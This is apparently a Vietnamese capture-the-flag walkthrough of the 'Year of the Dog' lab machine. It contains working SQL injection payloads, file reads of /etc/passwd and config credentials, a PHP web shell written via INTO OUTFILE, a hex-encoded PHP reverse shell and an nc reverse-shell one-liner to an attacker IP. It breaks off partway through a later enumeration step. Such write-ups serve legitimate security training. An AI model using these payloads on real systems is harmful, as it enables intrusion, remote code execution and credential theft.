Year of the Dog
Always so polite...
Initial Reconnaissance
Chúng ta thêm domain name vào file /etc/hosts:
10.201.86.237 dog.thmService Scanning
┌──(kali㉿kali)-[~]
└─$ rustscan -a dog.thm -r 1-65535 -- -sV -sC
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:c9:dd:9b:db:95:9e:fd:19:a9:a6:0d:4c:43:9f:fa (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrxDlZxvJUZk2qXaeBdjHxfM3MSGpZ8H6zPqgarnP3K806zE1Y/CryyT4wgIZYomtV8wUWHlFkuqbWjcKcM1MWcPjzGWfPZ2wHTNgUkHvBWZ+fxoX8vJoC6wfpifa7bSMaOItFWSLnMGOXigHbF6dPNyP+/kXAJE+tg9TurrTKaPiL6u+02ITeVUuLWsjwlLDJAnu1zDhPONR2b7WTcU/zQxHUYZiHpHn5eBtXpCZPZyfOZ+828ibobM/CAHIBZqJsYksAe5RbtDw7Vdw/8OtYuo4Koz8C2kBoWCHvsmyDfwZ57E2Ycss4JG5j7fMt7sI+lh/NHE+/7zrXdH/4njCD
| 256 c3:fc:10:d8:78:47:7e:fb:89:cf:81:8b:6e:f1:0a:fd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMlni4gM6dVkvfGeMy6eg/18HsCYvvFhbpycXiGYM3fitNhTXW4WpMpr8W/0y2FszEB6TGD93ib/lCTsBOQG5Uw=
| 256 27:68:ff:ef:c0:68:e2:49:75:59:34:f2:bd:f0:c9:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICQIHukp5WpajvhF4juRWmL2+YtbN9HbhgLScgqYNien
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Canis Queue
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelKết quả scan Nmap cho thấy 2 dịch vụ đang chạy đó là SSH và HTTP. Thông tin phiên bản của chúng đều cho thấy hệ điều hành là Ubuntu.
SSH 22

Dịch vụ SSH cho phép password authentication, nên chúng ta cần chú ý đến khả năng tìm thấy plaintext password.
HTTP 80


Khi kiểm tra source code thì không thấy gì đặc biệt. Trên website, hệ thống hiển thị rằng chúng ta đang ở vị trí số 81 trong hàng chờ, và việc refresh trang cũng không thay đổi con số này.
Directory Enumeration
Chúng ta thử scan directory bằng ffuf để tìm các thư mục hoặc file ẩn.
┌──(kali㉿kali)-[~/Documents]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://dog.thm/FUZZ -t 100 -e .php,.txt -fc 403 -r
/assets

Chỉ có file duy nhất là flag.jpg. Sau khi download và kiểm tra bằng exiftool và stegseek để tìm thông tin hoặc message ẩn thì không phát hiện được gì hữu ích.
┌──(kali㉿kali)-[~/Desktop]
└─$ wget http://dog.thm/assets/img/flag.jpg
--2025-08-27 21:26:08-- http://dog.thm/assets/img/flag.jpg
Resolving dog.thm (dog.thm)... 10.201.86.237
Connecting to dog.thm (dog.thm)|10.201.86.237|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 86179 (84K) [image/jpeg]
Saving to: ‘flag.jpg’
flag.jpg 100%[============================================================================>] 84.16K 39.9KB/s in 2.1s
2025-08-27 21:26:11 (39.9 KB/s) - ‘flag.jpg’ saved [86179/86179]
┌──(kali㉿kali)-[~/Desktop]
└─$ exiftool flag.jpg
ExifTool Version Number : 13.25
File Name : flag.jpg
Directory : .
File Size : 86 kB
File Modification Date/Time : 2020:09:04 04:46:47+07:00
File Access Date/Time : 2025:08:27 21:26:12+07:00
File Inode Change Date/Time : 2025:08:27 21:26:11+07:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Width : 1920
Image Height : 1120
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1920x1120
Megapixels : 2.2
┌──(kali㉿kali)-[~/Desktop]
└─$ stegseek flag.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 97.88% (130.6 MB)
[!] error: Could not find a valid passphrase.
┌──(kali㉿kali)-[~/Desktop]
└─$ stegseek flag.jpg /usr/share/wordlists/fasttrack.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[!] error: Could not find a valid passphrase.Apache Enumeration
Theo kết quả từ Nmap, phiên bản Apache đang chạy là 2.4.29. Chúng ta thử tìm các lỗ hổng công khai và exploit liên quan nhưng cũng không có gì khả quan.

Tiếp tục chạy directory scan với wordlist apache.txt cũng không cho ra kết quả nào.
┌──(kali㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/vulns/apache.txt -u http://dog.thm/FUZZ -fc 403 -r
Cookie Enumeration
Website không có bất kỳ chức năng nào và việc enumerate directory cũng không đem lại gì. Lúc này chúng ta chuyển hướng sang kiểm tra cookies.

Trong cookies có một item tên id, giá trị của nó giống như một MD5 hash. Chúng ta xác nhận bằng một hash identifier online.

Đây có thể là MD5 hash của queue number?
┌──(kali㉿kali)-[~]
└─$ echo 79 | md5sum
54a24082cfebcd031ae7d0275379511e -Nhưng thử với MD5 hash của số 0 thì kết quả trả về là Error.
┌──(kali㉿kali)-[~]
└─$ echo 0 | md5sum
897316929176464ebc9ad085f31e7284 -
Sau đó, chúng ta dùng Burp Suite gửi request liên tục mà không có header Cookies để lấy các giá trị id khác nhau xem có ý nghĩa gì hay chỉ là chuỗi hex ngẫu nhiên.

Sau khi đưa chúng vào hash cracker online thì có thể tạm kết luận rằng chúng chỉ là chuỗi hex ngẫu nhiên.

SQL Injection
Do ta có thể nhập bất kỳ giá trị nào vào id, vậy ta kiểm tra SQL Injection. Thử trước với ký tự ":

Khi dùng ' thì nhận được lỗi cú pháp MySQL, đây là dấu hiệu tốt.


Như vậy ta có thể khẳng định website này bị dính SQL Injection.


Sử dụng câu lệnh UNION, chúng ta xác định được phiên bản MySQL và kernel Linux đang chạy lần lượt là MySQL 5.7.34 và Ubuntu 18.04. Database hiện tại là webapp.
Chúng ta thử dump toàn bộ databases:
' and 1=0 union select 1,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)-- -
Nhưng chỉ có duy nhất database webapp. Tiếp theo dump các bảng:
' and 1=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- -
Rồi đến các cột:
' and 1=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="queue")-- -
Sau đó xem dữ liệu bên trong:
' and 1=0 union select 1,(select group_concat(concat(userID, ' ', queueNum) order by queueNum separator '\n') from queue)-- -
Những gì có được chỉ là các chuỗi hex ngẫu nhiên cùng với số thứ tự trong hàng chờ, và số lượng cũng không nhiều. Để thêm nhiều dữ liệu hơn, ta gửi thêm request mà không có Cookie header để tạo thêm dòng mới.

Quan sát thấy số thứ tự hàng chờ nhỏ nhất chỉ là 1. Những dữ liệu này không có giá trị khai thác, và ta cũng không biết cách userID được tạo ra và xếp hàng như thế nào. Vậy chúng ta cần thử hướng khác.
Arbitrary File Read
Một kỹ thuật khả thi là sử dụng hàm LOAD_FILE để đọc file trên hệ thống.
' and 1=0 union select 1, LOAD_FILE('/etc/passwd')-- -
Khi đọc file /etc/passwd, ta thấy có thể truy cập được, chứng tỏ MySQL user hiện tại có quyền FILE.
Tiếp theo, ta đọc file index.php để xem cơ chế xếp hàng hoạt động ra sao.
' and 1=0 union select 1, LOAD_FILE('/var/www/html/index.php')-- -
Hóa ra những chuỗi hex chỉ đơn giản là random bytes, không có gì đặc biệt.
Trước đó chúng ta cũng tìm thấy file config.php, trong đó chứa credentials của MySQL.

$servername = "localhost";
$username = "web";
$password = "Cda3RsDJga";
$dbname = "webapp";Arbitrary File Write
Vậy còn ghi file thì sao? Vì web server là Apache, nên nội dung thường được phục vụ từ thư mục /var/www/html. Ta thử upload một file text đơn giản vào đó và truy cập qua browser:


Ta đã thành công upload được file text. Bây giờ ta upload một PHP web shell:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>

Tuy nhiên, có filter phát hiện mã PHP độc hại nên trả về thông báo RCE Attempt detected. Thử encode payload thành hex thì upload được:
' into outfile '/var/www/html/shell.php' lines terminated by 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -

Nhưng web shell lại không hoạt động. Sau khi chỉnh sửa câu lệnh một chút, cuối cùng ta đã upload thành công web shell.
' union select 1, 2 INTO OUTFILE '/var/www/html/sh.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -

Shell as www-data
Chúng ta thử thiết lập kết nối reverse shell bằng payload sau:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.17.21.52 80 >/tmp/f
Nhưng không có phản hồi nào.
Có lẽ chúng ta nên upload hẳn một reverse shell, lần này dùng PentestMonkey PHP reverse shell đã được encode dưới dạng hex.

' union select 1, 2 INTO OUTFILE '/var/www/html/rev.php' LINES TERMINATED BY 0x3c3f7068700a7365745f74696d655f6c696d6974202830293b0a2456455253494f4e203d2022312e30223b0a246970203d202731302e31372e32312e3532273b0a24706f7274203d2038303b0a246368756e6b5f73697a65203d20313430303b0a2477726974655f61203d206e756c6c3b0a246572726f725f61203d206e756c6c3b0a247368656c6c203d2027756e616d65202d613b20773b2069643b202f62696e2f62617368202d69273b0a246461656d6f6e203d20303b0a246465627567203d20303b0a0a6966202866756e6374696f6e5f657869737473282770636e746c5f666f726b272929207b0a0924706964203d2070636e746c5f666f726b28293b0a090a096966202824706964203d3d202d3129207b0a09097072696e74697428224552524f523a2043616e277420666f726b22293b0a0909657869742831293b0a097d0a090a09696620282470696429207b0a0909657869742830293b20202f2f20506172656e742065786974730a097d0a0969662028706f7369785f7365747369642829203d3d202d3129207b0a09097072696e74697428224572726f723a2043616e277420736574736964282922293b0a0909657869742831293b0a097d0a0a09246461656d6f6e203d20313b0a7d20656c7365207b0a097072696e74697428225741524e494e473a204661696c656420746f206461656d6f6e6973652e20205468697320697320717569746520636f6d6d6f6e20616e64206e6f7420666174616c2e22293b0a7d0a0a636864697228222f22293b0a0a756d61736b2830293b0a0a2f2f204f70656e207265766572736520636f6e6e656374696f6e0a24736f636b203d2066736f636b6f70656e282469702c2024706f72742c20246572726e6f2c20246572727374722c203330293b0a696620282124736f636b29207b0a097072696e7469742822246572727374722028246572726e6f2922293b0a09657869742831293b0a7d0a0a2464657363726970746f7273706563203d206172726179280a20202030203d3e206172726179282270697065222c20227222292c20202f2f20737464696e20697320612070697065207468617420746865206368696c642077696c6c20726561642066726f6d0a20202031203d3e206172726179282270697065222c20227722292c20202f2f207374646f757420697320612070697065207468617420746865206368696c642077696c6c20777269746520746f0a20202032203d3e206172726179282270697065222c20227722292020202f2f2073746465727220697320612070697065207468617420746865206368696c642077696c6c20777269746520746f0a293b0a0a2470726f63657373203d2070726f635f6f70656e28247368656c6c2c202464657363726970746f72737065632c20247069706573293b0a0a696620282169735f7265736f75726365282470726f636573732929207b0a097072696e74697428224552524f523a2043616e277420737061776e207368656c6c22293b0a09657869742831293b0a7d0a0a73747265616d5f7365745f626c6f636b696e67282470697065735b305d2c2030293b0a73747265616d5f7365745f626c6f636b696e67282470697065735b315d2c2030293b0a73747265616d5f7365745f626c6f636b696e67282470697065735b325d2c2030293b0a73747265616d5f7365745f626c6f636b696e672824736f636b2c2030293b0a0a7072696e74697428225375636365737366756c6c79206f70656e65642072657665727365207368656c6c20746f202469703a24706f727422293b0a0a7768696c6520283129207b0a096966202866656f662824736f636b2929207b0a09097072696e74697428224552524f523a205368656c6c20636f6e6e656374696f6e207465726d696e6174656422293b0a0909627265616b3b0a097d0a0a096966202866656f66282470697065735b315d2929207b0a09097072696e74697428224552524f523a205368656c6c2070726f63657373207465726d696e6174656422293b0a0909627265616b3b0a097d0a0a0924726561645f61203d2061727261792824736f636b2c202470697065735b315d2c202470697065735b325d293b0a09246e756d5f6368616e6765645f736f636b657473203d2073747265616d5f73656c6563742824726561645f612c202477726974655f612c20246572726f725f612c206e756c6c293b0a0a0969662028696e5f61727261792824736f636b2c2024726561645f612929207b0a09096966202824646562756729207072696e7469742822534f434b205245414422293b0a090924696e707574203d2066726561642824736f636b2c20246368756e6b5f73697a65293b0a09096966202824646562756729207072696e7469742822534f434b3a2024696e70757422293b0a0909667772697465282470697065735b305d2c2024696e707574293b0a097d0a0a0969662028696e5f6172726179282470697065735b315d2c2024726561645f612929207b0a09096966202824646562756729207072696e74697428225354444f5554205245414422293b0a090924696e707574203d206672656164282470697065735b315d2c20246368756e6b5f73697a65293b0a09096966202824646562756729207072696e74697428225354444f55543a2024696e70757422293b0a09096677726974652824736f636b2c2024696e707574293b0a097d0a0a0969662028696e5f6172726179282470697065735b325d2c2024726561645f612929207b0a09096966202824646562756729207072696e7469742822535444455252205245414422293b0a090924696e707574203d206672656164282470697065735b325d2c20246368756e6b5f73697a65293b0a09096966202824646562756729207072696e74697428225354444552523a2024696e70757422293b0a09096677726974652824736f636b2c2024696e707574293b0a097d0a7d0a0a66636c6f73652824736f636b293b0a66636c6f7365282470697065735b305d293b0a66636c6f7365282470697065735b315d293b0a66636c6f7365282470697065735b325d293b0a70726f635f636c6f7365282470726f63657373293b0a0a66756e6374696f6e207072696e746974202824737472696e6729207b0a096966202821246461656d6f6e29207b0a09097072696e74202224737472696e675c6e223b0a097d0a7d0a0a3f3e-- -
Để chắc chắn code được ghi đúng, ta dùng load_file() để kiểm tra.


Kết quả thành công, và chúng ta có reverse shell với quyền user www-data.
Sudo Permissions
Tiếp tục, ta ổn định shell rồi kiểm tra sudo permissions.
www-data@year-of-the-dog:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@year-of-the-dog:/$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.Tuy nhiên, không thể làm gì thêm nếu không có password.
Database Enumeration
Trước đó ta đã tìm thấy credentials MySQL, nên thử đăng nhập bằng chúng.
www-data@year-of-the-dog:/$ mysql -u web
mysql -u web
ERROR 1045 (28000): Access denied for user 'web'@'localhost' (using password: NO)
www-data@year-of-the-dog:/$ mmysql -u web -p
mysql -u web -p
Enter password: Cda3RsDJga
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 25
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show grants;
show grants;
+---------------------------------------------------------+
| Grants for web@localhost |
+---------------------------------------------------------+
| GRANT FILE ON *.* TO 'web'@'localhost' |
| GRANT ALL PRIVILEGES ON `webapp`.* TO 'web'@'localhost' |
+---------------------------------------------------------+
2 rows in set (0.00 sec)Kết quả cho thấy user web chỉ có quyền GRANT FILE trên toàn hệ thống và ALL PRIVILEGES trên database webapp, không có đặc quyền gì khác.
Password Discovery
www-data@year-of-the-dog:/$ cd /home
cd /home
www-data@year-of-the-dog:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 3 2020 .
drwxr-xr-x 23 root root 4096 May 31 2021 ..
drwxr-xr-x 4 dylan dylan 4096 Sep 5 2020 dylan
www-data@year-of-the-dog:/home$ cd dylan
cd dylan
www-data@year-of-the-dog:/home/dylan$ ls -la
ls -la
total 120
drwxr-xr-x 4 dylan dylan 4096 Sep 5 2020 .
drwxr-xr-x 3 root root 4096 Sep 3 2020 ..
lrwxrwxrwx 1 dylan dylan 9 Sep 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 dylan dylan 220 Sep 3 2020 .bash_logout
-rw-r--r-- 1 dylan dylan 3771 Sep 3 2020 .bashrc
drwx------ 2 dylan dylan 4096 Sep 3 2020 .cache
-rw-rw-r-- 1 dylan dylan 53 Sep 5 2020 .gitconfig
drwx------ 3 dylan dylan 4096 Sep 3 2020 .gnupg
lrwxrwxrwx 1 root root 9 Sep 3 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 dylan dylan 807 Sep 3 2020 .profile
-rw-r--r-- 1 dylan dylan 0 Sep 3 2020 .sudo_as_admin_successful
-r-------- 1 dylan dylan 38 Sep 5 2020 user.txt
-rw-r--r-- 1 dylan dylan 85134 Sep 5 2020 work_analysis
www-data@year-of-the-dog:/home/dylan$ cat user.txt
cat user.txt
cat: user.txt: Permission deniedFile user.txt nằm trong thư mục home của user dylan, nhưng chúng ta không có quyền đọc. Ta thử switch sang dylan, nhưng hệ thống yêu cầu password và ta cũng chưa có thông tin gì.
www-data@year-of-the-dog:/home/dylan$ su dylan
su dylan
Password:
su: Authentication failureKhi liệt kê thư mục home của dylan, ta thấy một file .gitconfig và một file work_analysis.
www-data@year-of-the-dog:/home/dylan$ cat .gitconfig
cat .gitconfig
[user]
name = Dylan
email = dylan@yearofthedog.thmFile work_analysis có vẻ thú vị hơn vì nó giống như bản copy của /var/log/auth.log, và có ai đó đang thực hiện dictionary attack qua SSH.
www-data@year-of-the-dog:/home/dylan$ head -n 20 work_analysis
head -n 20 work_analysis
Sep 5 20:52:34 staging-server sshd[39184]: Received disconnect from 192.168.1.142 port 45582:11: Bye Bye [preauth]
Sep 5 20:52:34 staging-server sshd[39184]: Disconnected from authenticating user root 192.168.1.142 port 45582 [preauth]
Sep 5 20:52:35 staging-server sshd[39190]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39191]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39194]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39195]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39192]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39189]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39186]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39196]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39188]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39197]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39187]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39198]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39193]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39200]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39201]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:35 staging-server sshd[39216]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.142 user=root
Sep 5 20:52:37 staging-server sshd[39191]: Failed password for root from 192.168.1.142 port 45596 ssh2
Sep 5 20:52:37 staging-server sshd[39186]: Failed password for root from 192.168.1.142 port 45584 ssh2Ta dùng grep để lọc ra các password có thể:
www-data@year-of-the-dog:/home/dylan$ cat work_analysis | grep -i "pass"
...
Sep 5 20:52:48 staging-server sshd[39187]: Failed password for root from 192.168.1.142 port 45586 ssh2
Sep 5 20:52:48 staging-server sshd[39216]: Failed password for root from 192.168.1.142 port 45622 ssh2
Sep 5 20:53:02 staging-server sshd[39218]: pam_unix(sshd:auth): check pass; user unknown
Sep 5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624 ssh2
Sep 5 20:53:19 staging-server sshd[39222]: Failed password for root from 192.168.1.142 port 45628 ssh2
Sep 5 20:53:20 staging-server sshd[39226]: Failed password for root from 192.168.1.142 port 45634 ssh2
Sep 5 20:53:20 staging-server sshd[39224]: Failed password for root from 192.168.1.142 port 45630 ssh2
...Chúng ta phát hiện một chuỗi trông giống như password của dylan: dylanLabr4d0rs4L1f3. Ta có thể thử SSH vào hệ thống bằng thông tin này. Tuy nhiên, khi xem kỹ lại log file thì thấy dòng: Failed password for invalid user dylanLabr4d0rs4L1f3. Ở đây, user thực sự là dylan nhưng lại gõ nhầm thành dylanLabr4d0rs4L1f3. Có lẽ trong lúc brute-force SSH, dylan đã thử đăng nhập vào tài khoản của chính mình nhưng bị vội và không may ghi password vào ngay sau username. Do đó, password chính xác phải là Labr4d0rs4L1f3.
Shell as dylan

user.txt
dylan@year-of-the-dog:~$ ls -la
total 120
drwxr-xr-x 4 dylan dylan 4096 Sep 5 2020 .
drwxr-xr-x 3 root root 4096 Sep 3 2020 ..
lrwxrwxrwx 1 dylan dylan 9 Sep 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 dylan dylan 220 Sep 3 2020 .bash_logout
-rw-r--r-- 1 dylan dylan 3771 Sep 3 2020 .bashrc
drwx------ 2 dylan dylan 4096 Sep 3 2020 .cache
-rw-rw-r-- 1 dylan dylan 53 Sep 5 2020 .gitconfig
drwx------ 3 dylan dylan 4096 Sep 3 2020 .gnupg
lrwxrwxrwx 1 root root 9 Sep 3 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 dylan dylan 807 Sep 3 2020 .profile
-rw-r--r-- 1 dylan dylan 0 Sep 3 2020 .sudo_as_admin_successful
-r-------- 1 dylan dylan 38 Sep 5 2020 user.txt
-rw-r--r-- 1 dylan dylan 85134 Sep 5 2020 work_analysis
dylan@year-of-the-dodylan@yearofthedog.thmg:~$ cat user.txt
THM{OTE3MTQyNTM5NzRiN2VjNTQyYWM2M2Ji}Sudo Permissions
dylan@year-of-the-dog:~$ sudo -l
[sudo] password for dylan:
Sorry, user dylan may not run sudo on year-of-the-dog.User này không có quyền chạy sudo trên target.
LinPEAS
Chúng ta chuyển LinPEAS sang máy target để enumerate các vector leo quyền khả thi.

Thông tin hệ thống:

Một vài dịch vụ local:

Local Services
MySQL 3306
Thử dùng lại password đã biết để đăng nhập vào dịch vụ MySQL nhưng không thành công, nên chúng ta tạm bỏ qua.
dylan@year-of-the-dog:/$ mysql -u dylan -p
Enter password:
ERROR 1045 (28000): Access denied for user 'dylan'@'localhost' (using password: YES)
dylan@year-of-the-dog:/$ mysql -u dylan
ERROR 1045 (28000): Access denied for user 'dylan'@'localhost' (using password: NO)HTTP 39341
dylan@year-of-the-dog:/$ nc localhost 39341
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request^CCó một port lạ đang chạy HTTP server. Ta thực hiện SSH tunneling để truy cập port này từ máy của mình, nhưng khi kiểm tra thì không có gì cả.


┌──(kali㉿kali)-[~]
└─$ sudo nmap -p8888 -sV -sC -v localhost
PORT STATE SERVICE VERSION
8888/tcp open http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Date: Thu, 28 Aug 2025 05:54:03 GMT
| Content-Length: 19
| Content-Type: text/plain; charset=utf-8
| 404: Page Not Found
| GenericLines, Help, LPDString, LSCP, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 404 Not Found
| Date: Thu, 28 Aug 2025 05:54:00 GMT
| Content-Length: 19
| Content-Type: text/plain; charset=utf-8
| 404: Page Not Found
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Date: Thu, 28 Aug 2025 05:54:01 GMT
| Content-Length: 19
| Content-Type: text/plain; charset=utf-8
| 404: Page Not Found
| OfficeScan:
| HTTP/1.1 400 Bad Request: missing required Host header
| Content-Type: text/plain; charset=utf-8
| Connection: close
|_ Request: missing required Host header
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).HTTP 3000
Port 3000 thường được dùng bởi developer để chạy web application trong quá trình phát triển và test. Chúng ta lại dùng SSH tunneling cho port này.


Kết quả cho thấy dịch vụ đang chạy là Gitea, một Git service tự host. Thử login bằng credentials dylan:Labr4d0rs4L1f3 thì bị yêu cầu nhập thêm 2FA Passcode hoặc Scratch Code.


Xem source code thì thấy phiên bản là 1.13.0 nhưng vẫn đang ở trạng thái developing.

Trong Gitea chỉ có một test repo của dylan và không có gì đặc biệt.

Vì chưa thể authenticate, nên ta tạm gác lại và tiếp tục enumerate.
dylan@year-of-the-dog:/$ ls -la
total 239796
drwxr-xr-x 23 root root 4096 May 31 2021 .
drwxr-xr-x 23 root root 4096 May 31 2021 ..
drwxr-xr-x 2 root root 4096 May 31 2021 bin
drwxr-xr-x 3 root root 4096 May 31 2021 boot
drwxr-xr-x 17 root root 3680 Aug 28 04:34 dev
drwxr-xr-x 95 root root 4096 May 31 2021 etc
drwxr-xr-x 5 root root 4096 Sep 5 2020 gitea
drwxr-xr-x 3 root root 4096 Sep 3 2020 home
lrwxrwxrwx 1 root root 34 May 31 2021 initrd.img -> boot/initrd.img-4.15.0-143-generic
lrwxrwxrwx 1 root root 34 May 31 2021 initrd.img.old -> boot/initrd.img-4.15.0-115-generic
drwxr-xr-x 23 root root 4096 Sep 5 2020 lib
drwxr-xr-x 2 root root 4096 May 31 2021 lib64
drwx------ 2 root root 16384 Sep 3 2020 lost+found
drwxr-xr-x 3 root root 4096 Sep 3 2020 media
drwxr-xr-x 2 root root 4096 Apr 26 2018 mnt
drwxr-xr-x 3 root root 4096 Sep 5 2020 opt
dr-xr-xr-x 130 root root 0 Aug 28 04:34 proc
drwx------ 4 root root 4096 Sep 6 2020 root
drwxr-xr-x 28 root root 920 Aug 28 06:25 run
drwxr-xr-x 2 root root 12288 May 31 2021 sbin
drwxr-xr-x 2 root root 4096 Apr 26 2018 srv
-rw------- 1 root root 245452800 Sep 3 2020 swapfile
dr-xr-xr-x 13 root root 0 Aug 28 05:16 sys
drwxrwxrwt 11 root root 4096 Aug 28 07:10 tmp
drwxr-xr-x 11 root root 4096 May 31 2021 usr
drwxr-xr-x 13 root root 4096 Sep 3 2020 var
lrwxrwxrwx 1 root root 31 May 31 2021 vmlinuz -> boot/vmlinuz-4.15.0-143-generic
lrwxrwxrwx 1 root root 31 May 31 2021 vmlinuz.old -> boot/vmlinuz-4.15.0-115-generic
dylan@year-of-the-dog:/$ cd gitea/
dylan@year-of-the-dog:/gitea$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Sep 5 2020 .
drwxr-xr-x 23 root root 4096 May 31 2021 ..
drwxr-xr-x 5 dylan dylan 4096 Sep 5 2020 git
drwxr-xr-x 9 dylan dylan 4096 Aug 28 04:34 gitea
drwx------ 2 root root 4096 Sep 5 2020 sshỞ thư mục root / có thư mục gitea, chúng ta thử grep để tìm password, passcode hoặc scratch code.
dylan@year-of-the-dog:/gitea$ grep -iR "pass\|scratch"
...
gitea/log/gitea.log:2020/09/07 20:51:37 ...m.io/xorm/core/db.go:286:afterProcess() [I] [SQL] INSERT INTO `two_factor` (`uid`,`secret`,`scratch_salt`,`scratch_hash`,`last_used_passcode`,`created_unix`,`updated_unix`) VALUES (?,?,?,?,?,?,?) [1 2HMOONwUUFqYA6101CGgupb0EQ5EyfYLRrN1FWMqWy25kihmMaN8SzKw1KpmP+zv0hWKOLApVpjknHbpQwIgPJ/g16kpW1G+s+KNs2xtXn1nuHu8gsqZsqbaydX33Tx5f7WLV+0bKlk= z856UU7XC9 11b13c5f49ba7c8bc8a221f79e4b5abb81f7ae3745b2c19881d418953973f7feace795519feba2a7bca24c39067c3d212466 1599511897 1599511897] - 83.960965ms
...Kết quả có một câu lệnh INSERT với vài giá trị khá đáng chú ý, chúng ta lưu lại để sau này dùng.
dylan@year-of-the-dog:/gitea$ cd gitea
dylan@year-of-the-dog:/gitea/gitea$ ls -la
total 1224
drwxr-xr-x 9 dylan dylan 4096 Aug 28 04:34 .
drwxr-xr-x 5 root root 4096 Sep 5 2020 ..
drwxr-xr-x 2 dylan dylan 4096 Sep 5 2020 attachments
